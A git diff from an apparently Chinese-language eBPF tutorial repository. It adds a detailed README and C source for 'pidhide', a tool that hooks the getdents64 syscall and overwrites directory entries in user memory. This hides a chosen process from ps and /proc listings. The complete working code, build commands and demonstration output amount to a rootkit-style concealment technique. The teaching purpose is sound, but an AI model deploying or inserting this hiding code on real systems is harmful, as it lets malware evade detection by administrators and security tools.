diff --git a/src/24-hide/README.md b/src/24-hide/README.md index 2de3afe..8e0b206 100644 --- a/src/24-hide/README.md +++ b/src/24-hide/README.md @@ -1,19 +1,440 @@ -# 使用 eBPF 隐藏进程或文件信息 +# eBPF 开发实践:使用 eBPF 隐藏进程或文件信息 -## 隐藏 PID +eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 -编译: +在本篇教程中,我们将展示如何利用 eBPF 来隐藏进程或文件信息,这是网络安全和防御领域中一种常见的技术。 + +## 背景知识与实现机制 + +"进程隐藏" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中,这种技术都可能被应用。具体来说,Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹,包含了该进程的各种信息。`ps` 命令就是通过查找这些文件夹来显示进程信息的。因此,如果我们能隐藏某个进程的 /proc/ 文件夹,就能让这个进程对 `ps` 命令等检测手段“隐身”。 + +要实现进程隐藏,关键在于操作 `/proc/` 目录。在 Linux 中,`getdents64` 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用,修改它返回的结果,从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 `bpf_probe_write_user` 功能,它可以修改用户空间的内存,因此能用来修改 `getdents64` 返回的结果。 + +下面,我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。 + +### 内核态 eBPF 程序实现 + +接下来,我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分: + +```c +// SPDX-License-Identifier: BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "common.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +// Ringbuffer Map to pass messages from kernel to user +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +// Map to fold the dents buffer addresses +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, long unsigned int); +} map_buffs SEC(".maps"); + +// Map used to enable searching through the +// data in a loop +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, int); +} map_bytes_read SEC(".maps"); + +// Map with address of actual +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, long unsigned int); +} map_to_patch SEC(".maps"); + +// Map to hold program tail calls +struct { + __uint(type, BPF_MAP_TYPE_PROG_ARRAY); + __uint(max_entries, 5); + __type(key, __u32); + __type(value, __u32); +} map_prog_array SEC(".maps"); +``` + +我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件,如 "vmlinux.h"、"bpf_helpers.h"、"bpf_tracing.h" 和 "bpf_core_read.h"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。 + +- "vmlinux.h" 是一个包含了完整的内核数据结构的头文件,是从 vmlinux 内核二进制中提取的。使用这个头文件,eBPF 程序可以访问内核的数据结构。 +- "bpf_helpers.h" 头文件中定义了一系列的宏,这些宏是 eBPF 程序使用的 BPF 助手(helper)函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。 +- "bpf_tracing.h" 是用于跟踪事件的头文件,它包含了许多宏和函数,这些都是为了简化 eBPF 程序对跟踪点(tracepoint)的操作。 +- "bpf_core_read.h" 头文件提供了一组用于从内核读取数据的宏和函数。 + +程序中定义了一系列的 map 结构,这些 map 是 eBPF 程序中的主要数据结构,它们用于在内核态和用户态之间共享数据,或者在 eBPF 程序中存储和传递数据。 + +其中,"rb" 是一个 Ringbuffer 类型的 map,它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。 + +"map_buffs" 是一个 Hash 类型的 map,它用于存储目录项(dentry)的缓冲区地址。 + +"map_bytes_read" 是另一个 Hash 类型的 map,它用于在数据循环中启用搜索。 + +"map_to_patch" 是另一个 Hash 类型的 map,存储了需要被修改的目录项(dentry)的地址。 + +"map_prog_array" 是一个 Prog Array 类型的 map,它用于保存程序的尾部调用。 + +程序中的 "target_ppid" 和 "pid_to_hide_len"、"pid_to_hide" 是几个重要的全局变量,它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。 + +接下来的代码部分,程序定义了一个名为 "linux_dirent64" 的结构体,这个结构体代表一个 Linux 目录项。然后程序定义了两个函数,"handle_getdents_enter" 和 "handle_getdents_exit",这两个函数分别在 getdents64 系统调用的入口和出口被调用,用于实现对目录项的操作。 + +```c + +// Optional Target Parent PID +const volatile int target_ppid = 0; + +// These store the string represenation +// of the PID to hide. This becomes the name +// of the folder in /proc/ +const volatile int pid_to_hide_len = 0; +const volatile char pid_to_hide[max_pid_len]; + +// struct linux_dirent64 { +// u64 d_ino; /* 64-bit inode number */ +// u64 d_off; /* 64-bit offset to next structure */ +// unsigned short d_reclen; /* Size of this dirent */ +// unsigned char d_type; /* File type */ +// char d_name[]; /* Filename (null-terminated) */ }; +// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count); +SEC("tp/syscalls/sys_enter_getdents64") +int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + // Check if we're a process thread of interest + // if target_ppid is 0 then we target all pids + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + int pid = pid_tgid >> 32; + unsigned int fd = ctx->args[0]; + unsigned int buff_count = ctx->args[2]; + + // Store params in map for exit function + struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; + bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); + + return 0; +} +``` + +在这部分代码中,我们可以看到 eBPF 程序的一部分具体实现,该程序负责在 `getdents64` 系统调用的入口处进行处理。 + +我们首先声明了几个全局的变量。其中 `target_ppid` 代表我们要关注的目标父进程的 PID。如果这个值为 0,那么我们将关注所有的进程。`pid_to_hide_len` 和 `pid_to_hide` 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 `/proc/` 目录下的一个文件夹的名称,因此被隐藏的进程在 `/proc/` 目录下将无法被看到。 + +接下来,我们声明了一个名为 `linux_dirent64` 的结构体。这个结构体代表一个 Linux 目录项,包含了一些元数据,如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。 + +然后是 `getdents64` 函数的原型。这个函数是 Linux 系统调用,用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中,对目录项进行修改,以实现进程隐藏。 + +随后的部分是 eBPF 程序的具体实现。我们在 `getdents64` 系统调用的入口处定义了一个名为 `handle_getdents_enter` 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID,然后检查这个进程是否是我们关注的进程。如果我们设置了 `target_ppid`,那么我们就只关注那些父进程的 PID 为 `target_ppid` 的进程。如果 `target_ppid` 为 0,我们就关注所有进程。 + +在确认了当前进程是我们关注的进程之后,我们将 `getdents64` 系统调用的参数保存到一个 map 中,以便在系统调用返回时使用。我们特别关注 `getdents64` 系统调用的第二个参数,它是一个指向 `linux_dirent64` 结构体的指针,代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 `map_buffs` 这个 map 中。 + +至此,我们完成了 `getdents64` 系统调用入口处的处理。在系统调用返回时,我们将会在 `handle_getdents_exit` 函数中,对目录项进行修改,以实现进程隐藏。 + +在接下来的代码段中,我们将要实现在 `getdents64` 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程,并且对目录项进行修改以实现隐藏。 + +我们首先定义了一个名为 `handle_getdents_exit` 的函数,它将在 `getdents64` 系统调用返回时被调用。 + +```c + +SEC("tp/syscalls/sys_exit_getdents64") +int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + int total_bytes_read = ctx->ret; + // if bytes_read is 0, everything's been read + if (total_bytes_read <= 0) { + return 0; + } + + // Check we stored the address of the buffer from the syscall entry + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + + // All of this is quite complex, but basically boils down to + // Calling 'handle_getdents_exit' in a loop to iterate over the file listing + // in chunks of 200, and seeing if a folder with the name of our pid is in there. + // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual + // patching + long unsigned int buff_addr = *pbuff_addr; + struct linux_dirent64 *dirp = 0; + int pid = pid_tgid >> 32; + short unsigned int d_reclen = 0; + char filename[max_pid_len]; + + unsigned int bpos = 0; + unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); + if (pBPOS != 0) { + bpos = *pBPOS; + } + + for (int i = 0; i < 200; i ++) { + if (bpos >= total_bytes_read) { + break; + } + dirp = (struct linux_dirent64 *)(buff_addr+bpos); + bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); + bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); + + int j = 0; + for (j = 0; j < pid_to_hide_len; j++) { + if (filename[j] != pid_to_hide[j]) { + break; + } + } + if (j == pid_to_hide_len) { + // *********** + // We've found the folder!!! + // Jump to handle_getdents_patch so we can remove it! + // *********** + bpf_map_delete_elem(&map_bytes_read, &pid_tgid); + bpf_map_delete_elem(&map_buffs, &pid_tgid); + bpf_tail_call(ctx, &map_prog_array, PROG_02); + } + bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); + bpos += d_reclen; + } + + // If we didn't find it, but there's still more to read, + // jump back the start of this function and keep looking + if (bpos < total_bytes_read) { + bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); + bpf_tail_call(ctx, &map_prog_array, PROG_01); + } + bpf_map_delete_elem(&map_bytes_read, &pid_tgid); + bpf_map_delete_elem(&map_buffs, &pid_tgid); + + return 0; +} + +``` + +在这个函数中,我们首先获取了当前进程的 PID 和线程组 ID,然后检查系统调用是否读取到了目录的内容。如果没有读取到内容,我们就直接返回。 + +然后我们从 `map_buffs` 这个 map 中获取 `getdents64` 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址,那么就没有必要进行进一步的处理。 + +接下来的部分有点复杂,我们用了一个循环来迭代读取目录的内容,并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了,我们就用 `bpf_tail_call` 函数跳转到 `handle_getdents_patch` 函数,进行实际的隐藏操作。 + +```c +SEC("tp/syscalls/sys_exit_getdents64") +int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) +{ + // Only patch if we've already checked and found our pid's folder to hide + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + + // Unlink target, by reading in previous linux_dirent64 struct, + // and setting it's d_reclen to cover itself and our target. + // This will make the program skip over our folder. + long unsigned int buff_addr = *pbuff_addr; + struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; + short unsigned int d_reclen_previous = 0; + bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); + + struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); + short unsigned int d_reclen = 0; + bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); + + // Debug print + char filename[max_pid_len]; + bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); + filename[pid_to_hide_len-1] = 0x00; + bpf_printk("[PID_HIDE] filename previous %s\n", filename); + bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); + filename[pid_to_hide_len-1] = 0x00; + bpf_printk("[PID_HIDE] filename next one %s\n", filename); + + // Attempt to overwrite + short unsigned int d_reclen_new = d_reclen_previous + d_reclen; + long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); + + // Send an event + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = (pid_tgid >> 32); + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + bpf_ringbuf_submit(e, 0); + } + + bpf_map_delete_elem(&map_to_patch, &pid_tgid); + return 0; +} + +``` + +在 `handle_getdents_patch` 函数中,我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容,并且修改 `d_reclen` 字段,让它覆盖下一个目录项,这样就可以隐藏我们的目标进程了。 + +在这个过程中,我们用到了 `bpf_probe_read_user`、`bpf_probe_read_user_str`、`bpf_probe_write_user` 这几个函数来读取和写入用户空间的数据。这是因为在内核空间,我们不能直接访问用户空间的数据,必须使用这些特殊的函数。 + +在我们完成隐藏操作后,我们会向一个名为 `rb` 的环形缓冲区发送一个事件,表示我们已经成功地隐藏了一个进程。我们用 `bpf_ringbuf_reserve` 函数来预留缓冲区空间,然后将事件的数据填充到这个空间,并最后用 `bpf_ringbuf_submit` 函数将事件提交到缓冲区。 + +最后,我们清理了之前保存在 map 中的数据,并返回。 + +这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子,我们可以看到 eBPF 提供的丰富的功能,如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑,而不需要修改内核代码。 + +## 用户态 eBPF 程序实现 + +我们在用户态的 eBPF 程序中主要进行了以下几个操作: + +1. 打开 eBPF 程序。 +2. 设置我们想要隐藏的进程的 PID。 +3. 验证并加载 eBPF 程序。 +4. 等待并处理由 eBPF 程序发送的事件。 + +首先,我们打开了 eBPF 程序。这个过程是通过调用 `pidhide_bpf__open` 函数实现的。如果这个过程失败了,我们就直接返回。 + +```c + skel = pidhide_bpf__open(); + if (!skel) + { + fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno)); + return 1; + } +``` + +接下来,我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 `rodata` 区域实现的。默认情况下,我们隐藏的是当前进程。 + +```c + char pid_to_hide[10]; + if (env.pid_to_hide == 0) + { + env.pid_to_hide = getpid(); + } + sprintf(pid_to_hide, "%d", env.pid_to_hide); + strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); + skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; + skel->rodata->target_ppid = env.target_ppid; +``` + +然后,我们验证并加载 eBPF 程序。这个过程是通过调用 `pidhide_bpf__load` 函数实现的。如果这个过程失败了,我们就进行清理操作。 + +```c + err = pidhide_bpf__load(skel); + if (err) + { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } +``` + +最后,我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 `ring_buffer__poll` 函数实现的。在这个过程中,我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有,我们就调用 `handle_event` 函数来处理这个事件。 + +```c +printf("Successfully started!\n"); +printf("Hiding PID %d\n", env.pid_to_hide); +while (!exiting) +{ + err = ring_buffer__poll(rb, 100 /* timeout, ms */); + /* Ctrl-C will cause -EINTR */ + if (err == -EINTR) + { + err = 0; + break; + } + if (err < 0) + { + printf("Error polling perf buffer: %d\n", err); + break; + } +} +``` + +`handle_event` 函数中,我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文,事件的数据,以及数据的大小。我们首先将事件的数据转换为 `event` 结构体,然后根据 `success` 字段判断这个事件是否表示成功隐藏了一个进程,最后打 + +印相应的消息。 + +```c +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + const struct event *e = data; + if (e->success) + printf("Hid PID from program %d (%s)\n", e->pid, e->comm); + else + printf("Failed to hide PID from program %d (%s)\n", e->pid, e->comm); + return 0; +} +``` + +这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序,然后设置我们想要隐藏的进程的 PID,再验证并加载 eBPF 程序,最后等待并处理由 eBPF 程序发送的事件。这个过程中,我们使用了 eBPF 提供的一些高级功能,如环形缓冲区和事件处理,这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。 + +完整源代码: + +## 编译运行,隐藏 PID + +首先,我们需要编译 eBPF 程序: ```bash make ``` -使用方式: +然后,假设我们想要隐藏进程 ID 为 1534 的进程,可以运行如下命令: ```sh -sudo ./pidhide --pid-to-hide 2222 +sudo ./pidhide --pid-to-hide 1534 ``` -这个程序将匹配这个 pid 的进程隐藏,使得像 `ps` 这样的工具无法看到。 +这条命令将使所有尝试读取 `/proc/` 目录的操作都无法看到 PID 为 1534 的进程。例如,我们可以选择一个进程进行隐藏: + +```console +$ ps -aux | grep 1534 +yunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor +yunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534 +``` + +此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是,如果我们运行 `sudo ./pidhide --pid-to-hide 1534`,再次运行 `ps -aux | grep 1534`,就会发现进程 ID 为 1534 的进程已经不见了。 + +```console +$ sudo ./pidhide --pid-to-hide 1534 +Hiding PID 1534 +Hid PID from program 31529 (ps) +Hid PID from program 31551 (ps) +Hid PID from program 31560 (ps) +Hid PID from program 31582 (ps) +Hid PID from program 31582 (ps) +Hid PID from program 31585 (bash) +Hid PID from program 31585 (bash) +Hid PID from program 31609 (bash) +Hid PID from program 31640 (ps) +Hid PID from program 31649 (ps) +``` + +这个程序将匹配这个 pid 的进程隐藏,使得像 `ps` 这样的工具无法看到,我们可以通过 `ps aux | grep 1534` 来验证。 + +```console +$ ps -aux | grep 1534 +root 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534 +root 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534 +root 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534 +yunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534 +``` + +## 总结 + +通过本篇 eBPF 入门实践教程,我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序,如何通过 eBPF 拦截系统调用并修改它们的行为,以及如何将这些知识应用到实际的网络安全和防御工作中。此外,我们也了解了 eBPF 的强大性,尤其是它能在不需要修改内核源代码或重启内核的情况下,允许用户在内核中执行自定义代码的能力。 + +您还可以访问我们的教程代码仓库 以获取更多示例和完整的教程。 + +接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容,包括如何使用 eBPF 进行网络和系统性能分析,如何编写更复杂的 eBPF 程序以及如何将 eBPF 集成到您的应用中。希望你会在我们的教程中找到有用的信息,进一步提升你的 eBPF 开发技能。 -它通过挂接 `getdents64` 系统调用来工作,因为 `ps` 是通过查找 `/proc/` 的每个子文件夹来工作的。PidHide 解除了与 PID 匹配的文件夹的链接,因此 `ps` 只能看到它之前和之后的文件夹。 diff --git a/src/24-hide/common.h b/src/24-hide/common.h index 8476caf..ac4be7f 100644 --- a/src/24-hide/common.h +++ b/src/24-hide/common.h @@ -2,18 +2,6 @@ #ifndef BAD_BPF_COMMON_H #define BAD_BPF_COMMON_H -// These are used by a number of -// different programs to sync eBPF Tail Call -// login between user space and kernel -#define PROG_00 0 -#define PROG_01 1 -#define PROG_02 2 - -// Used when replacing text -#define FILENAME_LEN_MAX 50 -#define TEXT_LEN_MAX 20 -#define max_pid_len 10 - // Simple message structure to get events from eBPF Programs // in the kernel to user spcae #define TASK_COMM_LEN 16 @@ -23,14 +11,4 @@ struct event { bool success; }; -struct tr_file { - char filename[FILENAME_LEN_MAX]; - unsigned int filename_len; -}; - -struct tr_text { - char text[TEXT_LEN_MAX]; - unsigned int text_len; -}; - #endif // BAD_BPF_COMMON_H diff --git a/src/24-hide/common_um.h b/src/24-hide/common_um.h deleted file mode 100644 index 06267aa..0000000 --- a/src/24-hide/common_um.h +++ /dev/null @@ -1,96 +0,0 @@ -// SPDX-License-Identifier: BSD-3-Clause -#ifndef BAD_BPF_COMMON_UM_H -#define BAD_BPF_COMMON_UM_H - -#include -#include -#include -#include -#include -#include -#include - -static volatile sig_atomic_t exiting; - -void sig_int(int signo) -{ - exiting = 1; -} - -static bool setup_sig_handler() { - // Add handlers for SIGINT and SIGTERM so we shutdown cleanly - __sighandler_t sighandler = signal(SIGINT, sig_int); - if (sighandler == SIG_ERR) { - fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); - return false; - } - sighandler = signal(SIGTERM, sig_int); - if (sighandler == SIG_ERR) { - fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); - return false; - } - return true; -} - -static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) -{ - return vfprintf(stderr, format, args); -} - -static bool bump_memlock_rlimit(void) -{ - struct rlimit rlim_new = { - .rlim_cur = RLIM_INFINITY, - .rlim_max = RLIM_INFINITY, - }; - - if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) { - fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit! (hint: run as root)\n"); - return false; - } - return true; -} - - -static bool setup() { - // Set up libbpf errors and debug info callback - libbpf_set_print(libbpf_print_fn); - - // Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything - if (!bump_memlock_rlimit()) { - return false; - }; - - // Setup signal handler so we exit cleanly - if (!setup_sig_handler()) { - return false; - } - - return true; -} - - -#ifdef BAD_BPF_USE_TRACE_PIPE -static void read_trace_pipe(void) { - int trace_fd; - - trace_fd = open("/sys/kernel/debug/tracing/trace_pipe", O_RDONLY, 0); - if (trace_fd == -1) { - printf("Error opening trace_pipe: %s\n", strerror(errno)); - return; - } - - while (!exiting) { - static char buf[4096]; - ssize_t sz; - - sz = read(trace_fd, buf, sizeof(buf) -1); - if (sz > 0) { - buf[sz] = '\x00'; - puts(buf); - } - } -} -#endif // BAD_BPF_USE_TRACE_PIPE - -#endif // BAD_BPF_COMMON_UM_H \ No newline at end of file diff --git a/src/24-hide/pidhide.bpf.c b/src/24-hide/pidhide.bpf.c index eef9259..47f8895 100644 --- a/src/24-hide/pidhide.bpf.c +++ b/src/24-hide/pidhide.bpf.c @@ -203,7 +203,6 @@ int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) bpf_ringbuf_submit(e, 0); } - bpf_map_delete_elem(&map_to_patch, &pid_tgid); return 0; } diff --git a/src/24-hide/pidhide.c b/src/24-hide/pidhide.c index 7f03609..021d51b 100644 --- a/src/24-hide/pidhide.c +++ b/src/24-hide/pidhide.c @@ -4,12 +4,27 @@ #include #include #include +#include +#include +#include +#include +#include +#include +#include + #include "pidhide.skel.h" -#include "common_um.h" #include "common.h" +// These are used by a number of +// different programs to sync eBPF Tail Call +// login between user space and kernel +#define PROG_00 0 +#define PROG_01 1 +#define PROG_02 2 + // Setup Argument stuff -static struct env { +static struct env +{ int pid_to_hide; int target_ppid; } env; @@ -17,25 +32,27 @@ static struct env { const char *argp_program_version = "pidhide 1.0"; const char *argp_program_bug_address = ""; const char argp_program_doc[] = -"PID Hider\n" -"\n" -"Uses eBPF to hide a process from usermode processes\n" -"By hooking the getdents64 syscall and unlinking the pid folder\n" -"\n" -"USAGE: ./pidhide -p 2222 [-t 1111]\n"; + "PID Hider\n" + "\n" + "Uses eBPF to hide a process from usermode processes\n" + "By hooking the getdents64 syscall and unlinking the pid folder\n" + "\n" + "USAGE: ./pidhide -p 2222 [-t 1111]\n"; static const struct argp_option opts[] = { - { "pid-to-hide", 'p', "PID-TO-HIDE", 0, "Process ID to hide. Defaults to this program" }, - { "target-ppid", 't', "TARGET-PPID", 0, "Optional Parent PID, will only affect its children." }, + {"pid-to-hide", 'p', "PID-TO-HIDE", 0, "Process ID to hide. Defaults to this program"}, + {"target-ppid", 't', "TARGET-PPID", 0, "Optional Parent PID, will only affect its children."}, {}, }; static error_t parse_arg(int key, char *arg, struct argp_state *state) { - switch (key) { + switch (key) + { case 'p': errno = 0; env.pid_to_hide = strtol(arg, NULL, 10); - if (errno || env.pid_to_hide <= 0) { + if (errno || env.pid_to_hide <= 0) + { fprintf(stderr, "Invalid pid: %s\n", arg); argp_usage(state); } @@ -43,7 +60,8 @@ static error_t parse_arg(int key, char *arg, struct argp_state *state) case 't': errno = 0; env.target_ppid = strtol(arg, NULL, 10); - if (errno || env.target_ppid <= 0) { + if (errno || env.target_ppid <= 0) + { fprintf(stderr, "Invalid pid: %s\n", arg); argp_usage(state); } @@ -62,6 +80,49 @@ static const struct argp argp = { .doc = argp_program_doc, }; +static volatile sig_atomic_t exiting; + +void sig_int(int signo) +{ + exiting = 1; +} + +static bool setup_sig_handler() +{ + // Add handlers for SIGINT and SIGTERM so we shutdown cleanly + __sighandler_t sighandler = signal(SIGINT, sig_int); + if (sighandler == SIG_ERR) + { + fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); + return false; + } + sighandler = signal(SIGTERM, sig_int); + if (sighandler == SIG_ERR) + { + fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); + return false; + } + return true; +} + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + return vfprintf(stderr, format, args); +} + +static bool setup() +{ + // Set up libbpf errors and debug info callback + libbpf_set_print(libbpf_print_fn); + + // Setup signal handler so we exit cleanly + if (!setup_sig_handler()) + { + return false; + } + + return true; +} static int handle_event(void *ctx, void *data, size_t data_sz) { @@ -81,39 +142,45 @@ int main(int argc, char **argv) // Parse command line arguments err = argp_parse(&argp, argc, argv, 0, NULL, NULL); - if (err) { + if (err) + { return err; } - if (env.pid_to_hide == 0) { + if (env.pid_to_hide == 0) + { printf("Pid Requried, see %s --help\n", argv[0]); exit(1); } // Do common setup - if (!setup()) { + if (!setup()) + { exit(1); } - - // Open BPF application + + // Open BPF application skel = pidhide_bpf__open(); - if (!skel) { + if (!skel) + { fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno)); return 1; } // Set the Pid to hide, defaulting to our own PID char pid_to_hide[10]; - if (env.pid_to_hide == 0) { + if (env.pid_to_hide == 0) + { env.pid_to_hide = getpid(); } sprintf(pid_to_hide, "%d", env.pid_to_hide); strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); - skel->rodata->pid_to_hide_len = strlen(pid_to_hide)+1; + skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; skel->rodata->target_ppid = env.target_ppid; // Verify and load program err = pidhide_bpf__load(skel); - if (err) { + if (err) + { fprintf(stderr, "Failed to load and verify BPF skeleton\n"); goto cleanup; } @@ -126,7 +193,8 @@ int main(int argc, char **argv) &index, &prog_fd, BPF_ANY); - if (ret == -1) { + if (ret == -1) + { printf("Failed to add program to prog array! %s\n", strerror(errno)); goto cleanup; } @@ -137,21 +205,24 @@ int main(int argc, char **argv) &index, &prog_fd, BPF_ANY); - if (ret == -1) { + if (ret == -1) + { printf("Failed to add program to prog array! %s\n", strerror(errno)); goto cleanup; } - // Attach tracepoint handler - err = pidhide_bpf__attach( skel); - if (err) { + // Attach tracepoint handler + err = pidhide_bpf__attach(skel); + if (err) + { fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno)); goto cleanup; } // Set up ring buffer - rb = ring_buffer__new(bpf_map__fd( skel->maps.rb), handle_event, NULL, NULL); - if (!rb) { + rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); + if (!rb) + { err = -1; fprintf(stderr, "Failed to create ring buffer\n"); goto cleanup; @@ -159,20 +230,23 @@ int main(int argc, char **argv) printf("Successfully started!\n"); printf("Hiding PID %d\n", env.pid_to_hide); - while (!exiting) { + while (!exiting) + { err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ - if (err == -EINTR) { + if (err == -EINTR) + { err = 0; break; } - if (err < 0) { + if (err < 0) + { printf("Error polling perf buffer: %d\n", err); break; } } cleanup: - pidhide_bpf__destroy( skel); + pidhide_bpf__destroy(skel); return -err; }